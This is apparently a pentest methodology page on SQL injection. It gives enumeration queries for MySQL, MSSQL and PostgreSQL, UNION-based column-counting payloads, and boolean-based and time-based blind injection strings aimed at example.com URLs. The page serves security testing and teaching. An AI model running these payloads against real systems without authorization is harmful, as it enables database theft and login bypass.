This is the multi-page printable view of this section. Click here to print.

Return to the regular view of this page.

Web Attack

Exploitation of common vulnerabilities in Web Applications

1 - SQL Injection

The classic web application attack to dump SQL databases and more.

Web applications often interact with SQL databases to Create, Read, Update, and Delete (CRUD) data through SQL queries. SQL injection occurs when a malicious user attempts to pass input that changes the SQL query sent by the web application to the database. First, attacker has to inject code outside the expected user limit so it does not get interpreted as user input. This is accomplished by using a single or double quote to escape the limits of user input.

Once injection has been established, the attacker have to look for a way to execute a different SQL statement. This can be done using SQL code to make up a working query that executes both the intended and new SQL queries via either stacker queries or Union queries.

SQLi can have a tremendous impact, especially if privileges on the back-end server and database are very lax. Sensitive information and secrets like user logins and payment information may be retrieved. SQL injection can also be used to subvert intended web application logic such as bypassing login without valid credentials as well as accessing features locked to specific users.

Common ways to mitigate against SQL injection include validation and sanitization of user input before they are included in SQL queries and the use of parameterized queries.

1.1 - Database Enumeration

Enumeration Database information and dump tables

Database Enumeration and dumping is a crucial component of SQL Injection testing after the vulnerability has been confirmed. We can extract various sensitive data, user credentials, and much more.

Database Identification

The first step is to identify the type and version of Database Management Systems (DBMS) we are interacting with:

MySQL:

SELECT @@version;

MSSQL:

SELECT @@version;

PostgreSQL:

SELECT version()

Database User

It may also be beneficial to enumerate the user that the web application is authenticating to the database as.

MySQL:

SELECT USER();
SELECT CURRENT_USER();
SELECT CURRENT_USER;
SELECT SESSION_USER();

MSSQL:

SELECT CURRENT_USER;
SELECT user_name();
SELECT system_user;
SELECT user;

PostgreSQL:

SELECT user;
SELECT current_user;
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();

Database Schema

Database schema refers to the structure of the database, including the databases, tables, and columns. We can use SQL injection to dump those information to find interesting information for the purposes of our engagement.

MSSQL:

InformationPayload
Database namesSELECT name FROM master..sysdatabases; OR SELECT name FROM master.sys.databases;
Table namesSELECT name FROM DB_NAME..sysobjects WHERE xtype = 'U';
Column namesSELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable';

MySQL:

InformationPayload
Database namesSELECT schema_name FROM information_schema .schemata
Table namesSELECT table_name FROM information_schema.tables WHERE table_schema=DB_NAME
Column namesSELECT column_name FROM information_schema.columns WHERE table_schema=DB_NAME AND table_name=TB_NAME

PostgreSQL:

InformationPayload
Database namesSELECT datname FROM pg_database
Table namesSELECT table_name FROM information_schema.tables WHERE table_schema='<SCHEMA_NAME>'
Column namesSELECT column_name FROM information_schema.columns WHERE table_name='data_table'

Dumping data

After finding what databases, tables and columns are stored on the database, we can dump them using SELECT statements.

Example:

SELECT username, password FROM users;

References

1.2 - SQLi Manual Testing Methodology

Identify, confirm, and exploit various types of SQL Injection

Discover Injection Points

The first step in the methodology for testing SQL injection is identify injection points where user input would be passed into a SQL query, which can be:

  • HTTP GET/POST Parameters
  • UserAgent Strings
  • Cookies

We can try to insert the following SQL special characters into the query and see if they would produce a different response from the back-end:

  • '
  • "
  • `
  • )
  • ))
  • \

If we see errors messages or different page responses, it means these characters are being interpreted as part of the SQL statement, potentially revealing a viable injection point.

Types of SQL Injection

The next step of the exploitation process depends on the type of SQL injection we are dealing with:

  1. In-band SQLi: outputs are printed directly to the front-end.
    • Union Based SQLi: we specify the exact column which we can read, so the query will direct the output to be printed there.
    • Error Based SQLi: error is displayed in the front-end, and so we may intentionally cause an SQL error that returns the output of our query.
  2. Blind SQLi: We cannot retreive the output direclty. We resort to utilize SQL logic to retrieve the output character by character.
    • Boolean Based SQLi: use SQL conditional statements to control whether the page returns the original query response if the injected conditional statement returns true.
    • Time Based SQLi: use SQL conditional statements that delay the page response if the conditional statement returns true using the Sleep() function.

UNION-Based SQLi

UNION-based SQL injection achieves the injection of SQL statements via the use of a UNION clause, which is used to combine the output of two or more compatible SELECT statements.

With a UNION operator, we can append the output of a second compatible query to the output of the first one.

mysql> SELECT * FROM ports;

+----------+-----------+
| code     | city      |
+----------+-----------+
| CN SHA   | Shanghai  |
| SG SIN   | Singapore |
| ZZ-21    | Shenzhen  |
+----------+-----------+
3 rows in set (0.00 sec)
mysql> SELECT * FROM ships;

+----------+-----------+
| Ship     | city      |
+----------+-----------+
| Morrison | New York  |
+----------+-----------+
mysql> SELECT * FROM ports UNION SELECT * FROM ships;

+----------+-----------+
| code     | city      |
+----------+-----------+
| CN SHA   | Shanghai  |
| SG SIN   | Singapore |
| Morrison | New York  |
| ZZ-21    | Shenzhen  |
+----------+-----------+
4 rows in set (0.00 sec)

Identify Number of Columns

The first step in UNION-based SQL Injection is to identify the number of columns inside the statement we are injecting into. There are two ways to achieve this. The first uses the ORDER BY clause to order the output by the value of a certain column. Instead of using the column names we probably don’t know yet, we can use numbers to refer the the column instead. We increment the number until error appears

' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
[...]

If column 5 causes an error, we know that there is only 4 columns

' ORDER BY 5-- -

The alternative method is to attempt a UNION injection with a different number of columns until we successfully get the results back. Since UNION operator requires both SELECT statements to have equal numbers of columns, we’ll get errors until we specify the same number of columns in our payload.

' UNION select 1-- -
' UNION select 1,2-- -
' UNION select 1,2,3-- -

Injection Location

The application may only display some columns from the query output. We cannot make use of columns not displayed for the purpose of UNION-based injection. To find suitable injection columns, we use a test value such as @@version or user() and try UNION it to different columns, and see under which one is the test value displayed.

  • In the example below, suppose we see the MySQL version string in the second and third query. We know that column 2 and 3 are displayed on the front-end.
' UNION select @@version,2,3-- -
' UNION select 1,@@version,3-- -
' UNION select 1,2,@@version-- -

Blind SQL Injection

Blind SQL injection is a type of SQL injection that extract information by executing a series of conditional statements and observe the difference in response content or timing to determine whether the queried statement was true or not, thus circumventing the limitation of not having the query output included in back-end response.

Boolean-based

Boolean-based blind SQL injection rely on the application responding differently based on whether the injected query returns true or false.

Identify Injection Point and Confirm Vulnerability: Inject a payload that evaluates to true/false to confirm SQL injection vulnerability. For example:

http://example.com/item?id=1 AND 1=1 -- (Expected: Normal response)
http://example.com/item?id=1 AND 1=2 -- (Expected: Different response or error)

Extract Hostname Length: Guess the length of the hostname by incrementing until the response indicates a match. For example:

http://example.com/item?id=1 AND LENGTH(@@hostname)=1 -- (Expected: No change)
http://example.com/item?id=1 AND LENGTH(@@hostname)=2 -- (Expected: No change)
http://example.com/item?id=1 AND LENGTH(@@hostname)=N -- (Expected: Change in response)

Extract Hostname Characters : Extract each character of the hostname using substring and ASCII comparison, repeat until the entire string is discovered

http://example.com/item?id=1 AND ASCII(SUBSTRING(@@hostname, 1, 1)) > 64 --
http://example.com/item?id=1 AND ASCII(SUBSTRING(@@hostname, 1, 1)) = 104 --

Time-based

Time-based blind SQL injection works similarly to Boolean-based injections, but instead uses response time to determine whether a SQL statement evaluates to true or false. This is useful when no output from the query is provided by the application.

We can either make use of the SLEEP function:

' AND SLEEP(5)/*
' AND '1'='1' AND SLEEP(5)
' ; WAITFOR DELAY '00:00:05' --

Or computationally heavy query that takes a lot of time to complete:

BENCHMARK(2000000,MD5(NOW()))

If the condition we specify below evaluates to true, we would get a longer response time than usual. Using a similar methodology as Boolean-based injection, we are able to extract the output character-by-character.

http://example.com/item?id=1 AND IF(SUBSTRING(VERSION(), 1, 1) = '5', SLEEP(5), 0) --

References